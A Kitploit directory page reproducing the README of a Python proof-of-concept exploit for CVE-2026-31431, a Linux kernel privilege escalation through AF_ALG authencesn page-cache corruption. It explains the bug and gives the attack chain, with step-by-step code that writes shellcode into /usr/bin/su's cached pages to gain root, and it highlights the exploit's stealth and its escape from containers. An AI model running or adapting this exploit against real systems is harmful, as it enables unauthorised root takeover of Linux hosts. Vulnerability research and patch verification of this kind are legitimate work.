Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/julichaan/cve-2026-31431-python-copyfail-poc
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationPenetration TestingRed TeamingBinary Exploitation
GitHubjulichaan/cve-2026-31431-python-copyfail-poc

CVE-2026-31431-python-copyfail-POC

Python exploit for CVE-2026-31431, a Linux kernel privilege escalation via page cache corruption of setuid binaries, achieving root access.

View Repository
295 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-31431: Copy Fail - Linux Kernel Privilege Escalation

Copy Fail (CVE-2026-31431) is a critical logic bug in the Linux kernel's cryptographic subsystem that allows unprivileged users to achieve privilege escalation to root. The vulnerability affects Linux kernels 6.0.0 through 6.18.x across all major distributions.

This repository contains the real exploit that triggers the vulnerability by corrupting the page cache of setuid binaries and executing arbitrary code with root privileges.


What is Copy Fail?

Copy Fail is a logic bug that allows unprivileged users to write arbitrary 4-byte chunks directly into the kernel's page cache of any readable file on the system, including setuid binaries.

Key characteristics:

  • Deterministic: No race conditions or timing windows needed
  • Portable: Same exploit works across all vulnerable distributions (Ubuntu, RHEL, Amazon Linux, SUSE)
  • Stealthy: On-disk files are never modified; only the in-memory page cache is corrupted
  • Containerized: Bypasses container boundaries since page cache is shared across the host
  • Simple: Requires only Python 3.10+ and standard library modules

Technical Details

The Root Cause: In-Place AEAD Operations

The vulnerability stems from a 2017 optimization in algif_aead.c (commit 72548b093ee3) that changed AEAD operations from out-of-place to in-place:

Before (safe - 2015):

TX Scatterlist (input)  ← TX buffer (user data from file)
RX Scatterlist (output) ← RX buffer (user's output area)
                          
Separate scatterlists = page cache pages are read-only

After (vulnerable - 2017):

Combined Scatterlist:
[ RX buffer ] [ Page cache pages chained via sg_chain() ]
↑                ↑
req->src = src   req->dst = dst  (SAME scatterlist)

Page cache pages are now in a WRITABLE scatterlist!

The combined scatterlist looks like:

[AAD + Ciphertext from RX buffer] || [Tag from /usr/bin/su page cache]
                                  ↑
                                  Boundary
                                  (authencesn writes PAST this point)

The Trigger: authencesn Algorithm Scratch Write

The authencesn algorithm is an AEAD wrapper used by IPsec for Extended Sequence Numbers (ESN). It performs HMAC computation but needs to rearrange bytes within the AAD (Associated Authenticated Data).

In the kernel code (crypto/authenc.c), during decryption:

scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);           // read AAD bytes 0-7
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);           // temporary: overwrite dst[4..7]
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1);  // ← KEY LINE
                                                        // write 4 bytes at dst[assoclen+cryptlen]

The problem: The third write occurs at offset assoclen + cryptlen. In the vulnerable in-place path:

  • Normal case: This offset is within the user's RX buffer (harmless)
  • Vulnerable case: This offset is beyond the user's buffer and falls into the chained page cache pages (CRITICAL)

The kernel treats this position as "expendable scratch space" and writes the value there permanently. The original bytes at this position in the page cache are lost forever.

The Attack Chain

1. Attacker opens AF_ALG socket → binds to authencesn(hmac(sha256),cbc(aes))
   (No privileges needed; AF_ALG is available to unprivileged users by default)

2. Attacker opens target file: /usr/bin/su (setuid-root binary)

3. Attacker uses splice() to deliver /usr/bin/su's page cache pages
   into the AF_ALG socket as the "ciphertext" and "tag"
   
4. Attacker sends sendmsg() with AAD containing:
   - Bytes 0-3: padding
   - Bytes 4-7: seqno_lo = 4-byte value to write (controlled by attacker)
   - Bytes 8+: padding

5. Attacker calls recvmsg() which triggers the AEAD decrypt operation
   
   Inside authencesn's decrypt in kernel space:
   a) Kernel reads AAD bytes 0-7
   b) Kernel writes seqno_hi at dst[4..7] (temporary, then restored)
   c) Kernel writes seqno_lo at dst[assoclen + cryptlen]
      ↓
      THIS WRITE CROSSES FROM USER BUFFER INTO PAGE CACHE PAGES
      ↓
      4-byte write to /usr/bin/su's page cache occurs HERE
   d) Kernel computes HMAC (fails validation - ciphertext is fabricated)
   e) recvmsg() returns error
   
   BUT: The 4-byte write ALREADY PERSISTS in the page cache

6. Attacker repeats steps 2-5 for each 4-byte chunk of shellcode

7. Attacker executes /usr/bin/su
   - Kernel loads the binary from PAGE CACHE (which now contains shellcode)
   - Binary is setuid-root
   - Shellcode executes with UID=0
   - Attacker has root access

Why This Works

AspectExplanation
No CrashesOperation completes from kernel's perspective
DeterministicNo race conditions; synchronous and reliable
PersistentPage cache corruption survives even after recvmsg() error
InvisibleOn-disk file untouched; standard integrity tools detect nothing
UniversalSame code works on all distributions; no per-distro offsets needed
PortableWorks on x86-64 and ARM64 architectures

The Exploit: Step-by-Step

Step 1: Socket Setup

sock = socket.socket(38, socket.SOCK_SEQPACKET, 0)  # AF_ALG = 38
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
req_sock = sock.accept()[0]  # Request socket for AEAD operations

Create an AF_ALG socket bound to the authencesn AEAD template.

Step 2: Open Target Binary

target_fd = os.open("/usr/bin/su", os.O_RDONLY)

Open the setuid binary that will be corrupted. Any readable file works, but setuid binaries are chosen for privilege escalation.

Step 3: Create Pipe for Splice

pipe_rd, pipe_wr = os.pipe()

Create a pipe that will act as an intermediary for splice() operations. The pipe buffers will hold references to page cache pages.

Step 4: Splice File to Pipe

os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset)

Use splice() to transfer cryptlen bytes from /usr/bin/su starting at write_offset to the pipe.

Why this matters: splice() transfers data between file descriptors without copying. It passes direct references to kernel page cache pages. These pages stay in the pipe's internal buffer structure.

Step 5: Craft AEAD Parameters

assoclen = 8          # AAD length: bytes 0-7
cryptlen = 32         # Ciphertext length (== HMAC-SHA256 output)
authsize = 32         # Tag length
write_offset = 0x2000 # Offset in /usr/bin/su to write to

aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8)

The AAD (Associated Authenticated Data) contains:

  • Bytes 0-3: Padding
  • Bytes 4-7: The 4-byte value to write (seqno_lo) ← Attacker controls this
  • Rest: Padding

The authencesn algorithm will use bytes 4-7 of this AAD in its scratch write.

Step 6: Send AAD

req_sock.sendmsg([aad], [], socket.MSG_MORE)

Send the AAD to the AF_ALG socket. The MSG_MORE flag indicates that ciphertext/tag will follow.

Step 7: Splice Ciphertext+Tag to Socket

os.splice(pipe_rd, req_sock.fileno(), cryptlen)

Transfer the page cache pages from the pipe to the AF_ALG socket. Now the kernel's scatterlist contains:

Scatterlist chain:
[ AAD (from RX buffer) ] || [ Ciphertext (from RX buffer) ] → [ Tag (page cache pages) ]
                                                               ↑
                                                     Still references
                                                     /usr/bin/su's pages

Step 8: Trigger the Vulnerability via recvmsg()

try:
    req_sock.recv(1024)
except OSError:
    pass  # Expected to fail with invalid HMAC

Call recvmsg() to trigger the AEAD decrypt operation:

Download Tool